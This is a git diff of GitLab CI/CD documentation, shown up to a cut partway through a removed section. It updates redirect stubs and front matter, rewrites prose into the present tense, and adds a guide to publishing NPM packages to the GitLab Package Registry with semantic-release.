+++ b/doc/ci/examples/code_climate.md
@@ -3,3 +3,6 @@ redirect_to: 'code_quality.md'
---
This document was moved to [another location](code_quality.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/code_quality.md b/doc/ci/examples/code_quality.md
index 88bcead7beb..808ad6d8fef 100644
--- a/doc/ci/examples/code_quality.md
+++ b/doc/ci/examples/code_quality.md
@@ -3,3 +3,6 @@ redirect_to: '../../user/project/merge_requests/code_quality.md#example-configur
---
This document was moved to [another location](../../user/project/merge_requests/code_quality.md#example-configuration).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/container_scanning.md b/doc/ci/examples/container_scanning.md
index 6570f6b2d98..eecf939d959 100644
--- a/doc/ci/examples/container_scanning.md
+++ b/doc/ci/examples/container_scanning.md
@@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/container_scanning/index.md'
---
This document was moved to [another location](../../user/application_security/container_scanning/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/dast.md b/doc/ci/examples/dast.md
index 9591abfc276..97c5cafae95 100644
--- a/doc/ci/examples/dast.md
+++ b/doc/ci/examples/dast.md
@@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/dast/index.md'
---
This document was moved to [another location](../../user/application_security/dast/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/dependency_scanning.md b/doc/ci/examples/dependency_scanning.md
index dc234a3489f..dc4b7bd764a 100644
--- a/doc/ci/examples/dependency_scanning.md
+++ b/doc/ci/examples/dependency_scanning.md
@@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/dependency_scanning/index.md'
---
This document was moved to [another location](../../user/application_security/dependency_scanning/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md
index 25b866a08ed..f4f3bf306ef 100644
--- a/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md
+++ b/doc/ci/examples/deploy_spring_boot_to_cloud_foundry/index.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
@@ -16,7 +16,7 @@ Deployment](https://about.gitlab.com/blog/2016/08/05/continuous-integration-deli
method.
All the code for this project can be found in this [GitLab
-repo](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo).
+repository](https://gitlab.com/gitlab-examples/spring-gitlab-cf-deploy-demo).
In case you're interested in deploying Spring Boot applications to Kubernetes
using GitLab CI/CD, read through the blog post [Continuous Delivery of a Spring Boot application with GitLab CI and Kubernetes](https://about.gitlab.com/blog/2016/12/14/continuous-delivery-of-a-spring-boot-application-with-gitlab-ci-and-kubernetes/).
@@ -31,7 +31,7 @@ To follow along, you will need:
other Cloud Foundry (CF) instance.
- An account on GitLab.
-NOTE: **Note:**
+NOTE:
You will need to replace the `api.run.pivotal.io` URL in the all below
commands with the [API
URL](https://docs.cloudfoundry.org/running/cf-api-endpoint.html) of your CF
@@ -116,7 +116,7 @@ After set up, GitLab CI/CD deploys your app to CF at every push to your
repository's default branch. To review the build logs or watch your builds
running live, navigate to **CI/CD > Pipelines**.
-CAUTION: **Caution:**
+WARNING:
It's considered best practice for security to create a separate deploy user for
your application and add its credentials to GitLab instead of using a
developer's credentials.
diff --git a/doc/ci/examples/deployment/README.md b/doc/ci/examples/deployment/README.md
index f29770b8f57..386512af38b 100644
--- a/doc/ci/examples/deployment/README.md
+++ b/doc/ci/examples/deployment/README.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
@@ -116,7 +116,7 @@ We also use two secure variables:
## Storing API keys
Secure Variables can added by going to your project's
-**Settings âž” CI / CD âž” Variables**. The variables that are defined
+**Settings > CI / CD > Variables**. The variables that are defined
in the project settings are sent along with the build script to the runner.
The secure variables are stored out of the repository. Never store secrets in
your project's `.gitlab-ci.yml`. It is also important that the secret's value
diff --git a/doc/ci/examples/deployment/composer-npm-deploy.md b/doc/ci/examples/deployment/composer-npm-deploy.md
index 067d92c2275..24990264f19 100644
--- a/doc/ci/examples/deployment/composer-npm-deploy.md
+++ b/doc/ci/examples/deployment/composer-npm-deploy.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
diff --git a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md
index 39cad3a0c93..7abdcf1f9be 100644
--- a/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md
+++ b/doc/ci/examples/devops_and_game_dev_with_gitlab_ci_cd/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
@@ -421,7 +421,7 @@ fully understand [IAM Best Practices in AWS](https://docs.aws.amazon.com/IAM/lat
1. Go to your GitLab project, click **Settings > CI/CD** on the left sidebar
1. Expand the **Variables** section
- ![GitLab Secret Config](img/gitlab_config.png)
+ ![GitLab Secret Configuration](img/gitlab_config.png)
1. Add a key named `AWS_KEY_ID` and copy the key ID from Step 2 into the **Value** field
1. Add a key named `AWS_KEY_SECRET` and copy the key secret from Step 2 into the **Value** field
@@ -431,7 +431,7 @@ fully understand [IAM Best Practices in AWS](https://docs.aws.amazon.com/IAM/lat
To deploy our build artifacts, we need to install the [AWS CLI](https://aws.amazon.com/cli/) on
the shared runner. The shared runner also needs to be able to authenticate with your AWS
account to deploy the artifacts. By convention, AWS CLI will look for `AWS_ACCESS_KEY_ID`
-and `AWS_SECRET_ACCESS_KEY`. GitLab's CI gives us a way to pass the variables we
+and `AWS_SECRET_ACCESS_KEY`. GitLab CI/CD gives us a way to pass the variables we
set up in the prior section using the `variables` portion of the `deploy` job. At the end,
we add directives to ensure deployment `only` happens on pushes to `master`. This way, every
single branch still runs through CI, and only merging (or committing directly) to master will
@@ -509,7 +509,7 @@ Within the [demo repository](https://gitlab.com/blitzgren/gitlab-game-demo) you
together nicely with GitLab CI/CD, which is the result of lessons learned while making [Dark Nova](https://www.darknova.io).
Using a combination of free and open source software, we have a full CI/CD pipeline, a game foundation,
and unit tests, all running and deployed at every push to master - with shockingly little code.
-Errors can be easily debugged through GitLab's build logs, and within minutes of a successful commit,
+Errors can be easily debugged through GitLab build logs, and within minutes of a successful commit,
you can see the changes live on your game.
Setting up Continuous Integration and Continuous Deployment from the start with Dark Nova enables
diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md
index 42725e8aef9..96183b040a2 100644
--- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md
+++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
index f692a8042f5..490fb857942 100644
--- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
+++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
@@ -417,7 +417,7 @@ RUN apt-get clean
RUN docker-php-ext-install mcrypt pdo_mysql zip
# Install Composer
-RUN curl --silent --show-error https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
+RUN curl --silent --show-error "https://getcomposer.org/installer" | php -- --install-dir=/usr/local/bin --filename=composer
# Install Laravel Envoy
RUN composer global require "laravel/envoy=~1.0"
diff --git a/doc/ci/examples/license_management.md b/doc/ci/examples/license_management.md
index df9af4db929..46be93c9676 100644
--- a/doc/ci/examples/license_management.md
+++ b/doc/ci/examples/license_management.md
@@ -3,3 +3,6 @@ redirect_to: '../../user/compliance/license_compliance/index.md'
---
This document was moved to [another location](../../user/compliance/license_compliance/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/php.md b/doc/ci/examples/php.md
index 699d04f632c..31f0cc76023 100644
--- a/doc/ci/examples/php.md
+++ b/doc/ci/examples/php.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
@@ -15,17 +15,17 @@ using the Shell executor.
## Test PHP projects using the Docker executor
While it is possible to test PHP apps on any system, this would require manual
-configuration from the developer. To overcome this we will be using the
+configuration from the developer. To overcome this we use the
official [PHP Docker image](https://hub.docker.com/_/php) that can be found in Docker Hub.
-This will allow us to test PHP projects against different versions of PHP.
+This allows us to test PHP projects against different versions of PHP.
However, not everything is plug 'n' play, you still need to configure some
things manually.
As with every job, you need to create a valid `.gitlab-ci.yml` describing the
build environment.
-Let's first specify the PHP image that will be used for the job process
+Let's first specify the PHP image that is used for the job process
(you can read more about what an image means in the runner's lingo reading
about [Using Docker images](../docker/using_docker_images.md#what-is-an-image)).
@@ -56,7 +56,7 @@ apt-get update -yqq
apt-get install git -yqq
# Install phpunit, the tool that we will use for testing
-curl --location --output /usr/local/bin/phpunit https://phar.phpunit.de/phpunit.phar
+curl --location --output /usr/local/bin/phpunit "https://phar.phpunit.de/phpunit.phar"
chmod +x /usr/local/bin/phpunit
# Install mysql driver
@@ -106,7 +106,7 @@ test:app:
### Test against different PHP versions in Docker builds
Testing against multiple versions of PHP is super easy. Just add another job
-with a different Docker image version and the runner will do the rest:
+with a different Docker image version and the runner does the rest:
```yaml
before_script:
@@ -128,7 +128,7 @@ test:7.0:
### Custom PHP configuration in Docker builds
-There are times where you will need to customise your PHP environment by
+There are times where you need to customise your PHP environment by
putting your `.ini` file into `/usr/local/etc/php/conf.d/`. For that purpose
add a `before_script` action:
@@ -168,7 +168,7 @@ The [phpenv](https://github.com/phpenv/phpenv) project allows you to easily mana
each with its own configuration. This is especially useful when testing PHP projects
with the Shell executor.
-You will have to install it on your build machine under the `gitlab-runner`
+You have to install it on your build machine under the `gitlab-runner`
user following [the upstream installation guide](https://github.com/phpenv/phpenv#installation).
Using phpenv also allows to easily configure the PHP environment with:
@@ -181,7 +181,7 @@ phpenv config-add my_config.ini
[is abandoned](https://github.com/phpenv/phpenv/issues/57). There is a fork
at [madumlao/phpenv](https://github.com/madumlao/phpenv) that tries to bring
the project back to life. [CHH/phpenv](https://github.com/CHH/phpenv) also
- seems like a good alternative. Picking any of the mentioned tools will work
+ seems like a good alternative. Picking any of the mentioned tools works
with the basic phpenv commands. Guiding you to choose the right phpenv is out
of the scope of this tutorial.*
@@ -274,4 +274,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available
[shared runners](../runners/README.md).
Want to hack on it? Simply fork it, commit, and push your changes. Within a few
-moments the changes will be picked by a public runner and the job will begin.
+moments the changes are picked by a public runner and the job begins.
diff --git a/doc/ci/examples/sast.md b/doc/ci/examples/sast.md
index 7c644ac833d..ebb3c1f66c1 100644
--- a/doc/ci/examples/sast.md
+++ b/doc/ci/examples/sast.md
@@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/sast/index.md'
---
This document was moved to [another location](../../user/application_security/sast/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/sast_docker.md b/doc/ci/examples/sast_docker.md
index 6570f6b2d98..eecf939d959 100644
--- a/doc/ci/examples/sast_docker.md
+++ b/doc/ci/examples/sast_docker.md
@@ -3,3 +3,6 @@ redirect_to: '../../user/application_security/container_scanning/index.md'
---
This document was moved to [another location](../../user/application_security/container_scanning/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/examples/semantic-release.md b/doc/ci/examples/semantic-release.md
new file mode 100644
index 00000000000..70d29b739b1
--- /dev/null
+++ b/doc/ci/examples/semantic-release.md
@@ -0,0 +1,159 @@
+---
+stage: Package
+group: Package
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Publish NPM packages to the GitLab Package Registry using semantic-release
+
+This guide demonstrates how to automatically publish NPM packages to the [GitLab Package Registry](../../user/packages/npm_registry/index.md) by using [semantic-release](https://github.com/semantic-release/semantic-release).
+
+You can also view or fork the complete [example source](https://gitlab.com/gitlab-examples/semantic-release-npm).
+
+## Initialize the module
+
+1. Open a terminal and navigate to the project's repository
+1. Run `npm init`. Name the module according to [the Package Registry's naming conventions](../../user/packages/npm_registry/index.md#package-naming-convention). For example, if the project's path is `gitlab-examples/semantic-release-npm`, name the module `@gitlab-examples/semantic-release-npm`.
+
+1. Install the following NPM packages:
+
+ ```shell
+ npm install semantic-release @semantic-release/git @semantic-release/gitlab @semantic-release/npm --save-dev
+ ```
+
+1. Add the following properties to the module's `package.json`:
+
+ ```json
+ {
+ "scripts": {
+ "semantic-release": "semantic-release"
+ },
+ "publishConfig": {
+ "access": "public"
+ },
+ "files": [ <path(s) to files here> ]
+ }
+ ```
+
+1. Update the `files` key with glob pattern(s) that selects all files that should be included in the published module. More information about `files` can be found [in NPM's documentation](https://docs.npmjs.com/cli/v6/configuring-npm/package-json#files).
+
+1. Add a `.gitignore` file to the project to avoid committing `node_modules`:
+
+ ```plaintext
+ node_modules
+ ```
+
+## Configure the pipeline
+
+Create a `.gitlab-ci.yml` with the following content:
+
+```yaml
+default:
+ image: node:latest
+ before_script:
+ - npm ci --cache .npm --prefer-offline
+ - |
+ {
+ echo "@${CI_PROJECT_ROOT_NAMESPACE}:registry=${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/npm/"
+ echo "${CI_API_V4_URL#https?}/projects/${CI_PROJECT_ID}/packages/npm/:_authToken=\${CI_JOB_TOKEN}"
+ } | tee --append .npmrc
+ cache:
+ key: ${CI_COMMIT_REF_SLUG}
+ paths:
+ - .npm/
+
+workflow:
+ rules:
+ - if: $CI_COMMIT_BRANCH
+
+variables:
+ NPM_TOKEN: ${CI_JOB_TOKEN}
+
+stages:
+ - release
+
+publish:
+ stage: release
+ script:
+ - npm run semantic-release
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+```
+
+This example configures the pipeline with a single job, `publish`, which runs `semantic-release`. The semantic-release library publishes new versions of the NPM package and creates new GitLab releases (if necessary).
+
+The default `before_script` generates a temporary `.npmrc` that is used to authenticate to the Package Registry during the `publish` job.
+
+## Set up environment variables
+
+As part of publishing a package, semantic-release increases the version number in `package.json`. For semantic-release to commit this change and push it back to GitLab, the pipeline requires a custom environment variable named `GITLAB_TOKEN`. To create this variable:
+
+1. Navigate to **Project > Settings > Access Tokens**.
+1. Give the token a name, and select the `api` scope.
+1. Click **Create project access token** and copy its value.
+1. Navigate to **Project > Settings > CI / CD > Variables**.
+1. Click **Add Variable**.
+1. In the **Key** field, enter `GITLAB_TOKEN`. In the **Value** field, paste the token created above. Check the **Mask variable** option and click **Add variable**.
+
+## Configure semantic-release
+
+semantic-release pulls its configuration information from a `.releaserc.json` file in the project. Create a `.releaserc.json` at the root of the repository:
+
+```json
+{
+ "branches": ["master"],
+ "plugins": [
+ "@semantic-release/commit-analyzer",
+ "@semantic-release/release-notes-generator",
+ "@semantic-release/gitlab",
+ "@semantic-release/npm",
+ [
+ "@semantic-release/git",
+ {
+ "assets": ["package.json"],
+ "message": "chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"
+ }
+ ]
+ ]
+}
+```
+
+## Begin publishing releases
+
+Test the pipeline by creating a commit with a message like:
+
+```plaintext
+fix: testing patch releases
+```
+
+Push the commit to `master`. The pipeline should create a new release (`v1.0.0`) on the project's **Releases** page and publish a new version of the package to the project's **Package Registry** page.
+
+To create a minor release, use a commit message like:
+
+```plaintext
+feat: testing minor releases
+```
+
+Or, for a breaking change:
+
+```plaintext
+feat: testing major releases
+
+BREAKING CHANGE: This is a breaking change.
+```
+
+More information about how commit messages are mapped to releases can be found in [semantic-releases's documentation](https://github.com/semantic-release/semantic-release#how-does-it-work).
+
+## Use the module in a project
+
+To use the published module, add an `.npmrc` file to the project that depends on the module. For example, to use [the example project](https://gitlab.com/gitlab-examples/semantic-release-npm)'s module:
+
+```plaintext
+@gitlab-examples:registry=https://gitlab.com/api/v4/packages/npm/
+```
+
+Then, install the module:
+
+```shell
+npm install --save @gitlab-examples/semantic-release-npm
+```
diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
index 6c4d99bd2dc..87291f4e8b8 100644
--- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
+++ b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
index 86c979c489c..089d72852bb 100644
--- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
+++ b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
diff --git a/doc/ci/examples/test-clojure-application.md b/doc/ci/examples/test-clojure-application.md
index 31dacd34730..b6691930a2c 100644
--- a/doc/ci/examples/test-clojure-application.md
+++ b/doc/ci/examples/test-clojure-application.md
@@ -1,11 +1,11 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
-NOTE: **Note:**
+NOTE:
This document has not been updated recently and could be out of date. For the latest documentation, see the [GitLab CI/CD](../README.md) page and the [GitLab CI/CD Pipeline Configuration Reference](../yaml/README.md).
# Test a Clojure application with GitLab CI/CD
diff --git a/doc/ci/examples/test-scala-application.md b/doc/ci/examples/test-scala-application.md
index fec376915c9..5c499d6a855 100644
--- a/doc/ci/examples/test-scala-application.md
+++ b/doc/ci/examples/test-scala-application.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
@@ -62,7 +62,7 @@ You can use other versions of Scala and SBT by defining them in
## Display test coverage in job
Add the `Coverage was \[\d+.\d+\%\]` regular expression in the
-**Settings âž” Pipelines âž” Coverage report** project setting to
+**Settings > Pipelines > Coverage report** project setting to
retrieve the [test coverage](../pipelines/settings.md#test-coverage-report-badge)
rate from the build trace and have it displayed with your jobs.
diff --git a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md
index 9bc9ac5423e..90f04fb3615 100644
--- a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md
+++ b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: tutorial
---
diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md
index c28febd15d7..fb42ed64e78 100644
--- a/doc/ci/git_submodules.md
+++ b/doc/ci/git_submodules.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -21,7 +21,7 @@ type: reference
## Configuring the `.gitmodules` file
-If dealing with [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), your project will probably have a file
+If dealing with [Git submodules](https://git-scm.com/book/en/v2/Git-Tools-Submodules), your project probably has a file
named `.gitmodules`.
Let's consider the following example:
@@ -44,11 +44,11 @@ for all your local checkouts. The `.gitmodules` would look like:
url = ../../group/project.git
```
-The above configuration will instruct Git to automatically deduce the URL that
-should be used when cloning sources. Whether you use HTTP(S) or SSH, Git will use
-that same channel and it will allow to make all your CI jobs use HTTP(S)
-(because GitLab CI/CD only uses HTTP(S) for cloning your sources), and all your local
-clones will continue using SSH.
+The above configuration instructs Git to automatically deduce the URL that
+should be used when cloning sources. Whether you use HTTP(S) or SSH, Git uses
+that same channel and it makes all your CI jobs use HTTP(S).
+GitLab CI/CD only uses HTTP(S) for cloning your sources, and all your local
+clones continue using SSH.
For all other submodules not located on the same GitLab server, use the full
HTTP(S) protocol URL:
@@ -94,7 +94,7 @@ correctly with your CI jobs:
whether you have recursive submodules.
The rationale to set the `sync` and `update` in `before_script` is because of
-the way Git submodules work. On a fresh runner workspace, Git will set the
+the way Git submodules work. On a fresh runner workspace, Git sets the
submodule URL including the token in `.git/config`
(or `.git/modules/<submodule>/config`) based on `.gitmodules` and the current
remote URL. On subsequent jobs on the same runner, `.git/config` is cached
diff --git a/doc/ci/img/junit_test_report.png b/doc/ci/img/junit_test_report.png
index ad098eb457f..a4b98c8b910 100644
--- a/doc/ci/img/junit_test_report.png
+++ b/doc/ci/img/junit_test_report.png
Binary files differ
diff --git a/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png b/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png
index 8082d17ae6a..25ce4176d9d 100644
--- a/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png
+++ b/doc/ci/interactive_web_terminal/img/interactive_web_terminal_running_job.png
Binary files differ
diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md
index a131d21039d..1aa86e0b322 100644
--- a/doc/ci/interactive_web_terminal/index.md
+++ b/doc/ci/interactive_web_terminal/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Runner
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -15,7 +15,7 @@ shell access to the environment where [GitLab Runner](https://docs.gitlab.com/ru
is deployed, some [security precautions](../../administration/integration/terminal.md#security) were
taken to protect the users.
-NOTE: **Note:**
+NOTE:
[Shared runners on GitLab.com](../runners/README.md#shared-runners) do not
provide an interactive web terminal. Follow [this
issue](https://gitlab.com/gitlab-org/gitlab/-/issues/24674) for progress on
@@ -31,39 +31,39 @@ Two things need to be configured for the interactive web terminal to work:
- If you are using a reverse proxy with your GitLab instance, web terminals need to be
[enabled](../../administration/integration/terminal.md#enabling-and-disabling-terminal-support)
-NOTE: **Note:**
+NOTE:
Interactive web terminals are not yet supported by
[`gitlab-runner` Helm chart](https://docs.gitlab.com/charts/charts/gitlab/gitlab-runner/index.html),
but support [is planned](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/79).
## Debugging a running job
-NOTE: **Note:**
+NOTE:
Not all executors are
[supported](https://docs.gitlab.com/runner/executors/#compatibility-chart).
-NOTE: **Note:**
+NOTE:
The `docker` executor does not keep running
-after the build script is finished. At that point, the terminal will automatically
-disconnect and will not wait for the user to finish. Please follow [this
+after the build script is finished. At that point, the terminal automatically
+disconnects and does not wait for the user to finish. Please follow [this
issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3605) for updates on
improving this behavior.
Sometimes, when a job is running, things don't go as you would expect, and it
would be helpful if one can have a shell to aid debugging. When a job is
-running, on the right panel you can see a button `debug` that will open the terminal
+running, on the right panel you can see a button `debug` that opens the terminal
for the current job.
![Example of job running with terminal
available](img/interactive_web_terminal_running_job.png)
-When clicked, a new tab will open to the terminal page where you can access
+When clicked, a new tab opens to the terminal page where you can access
the terminal and type commands like a normal shell.
![terminal of the job](img/interactive_web_terminal_page.png)
If you have the terminal open and the job has finished with its tasks, the
-terminal will block the job from finishing for the duration configured in
+terminal blocks the job from finishing for the duration configured in
[`[session_server].session_timeout`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section) until you
close the terminal window.
diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md
index b24ee66fdba..fa5c8c9a606 100644
--- a/doc/ci/introduction/index.md
+++ b/doc/ci/introduction/index.md
@@ -1,21 +1,21 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: "An overview of Continuous Integration, Continuous Delivery, and Continuous Deployment, as well as an introduction to GitLab CI/CD."
type: concepts
---
# Introduction to CI/CD with GitLab
-In this document, we'll present an overview of the concepts of Continuous Integration,
+This document presents an overview of the concepts of Continuous Integration,
Continuous Delivery, and Continuous Deployment, as well as an introduction to
GitLab CI/CD.
-TIP: **Tip:**
+NOTE:
Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more.
Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/)
-webcast to learn about continuous methods and how GitLab’s built-in CI can help you simplify and scale software development.
+webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development.
> For some additional information about GitLab CI/CD:
>
@@ -90,67 +90,6 @@ application or integration needed.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an overview, see [Introduction to GitLab CI](https://www.youtube.com/watch?v=l5705U8s_nQ&t=397) from a recent GitLab meetup.
-### How GitLab CI/CD works
-
-To use GitLab CI/CD, all you need is an application codebase hosted in a
-Git repository, and for your build, test, and deployment
-scripts to be specified in a file called [`.gitlab-ci.yml`](../yaml/README.md),
-located in the root path of your repository.
-
-In this file, you can define the scripts you want to run, define include and
-cache dependencies, choose commands you want to run in sequence
-and those you want to run in parallel, define where you want to
-deploy your app, and specify whether you will want to run the scripts automatically
-or trigger any of them manually. After you're familiar with
-GitLab CI/CD you can add more advanced steps into the configuration file.
-
-To add scripts to that file, you'll need to organize them in a
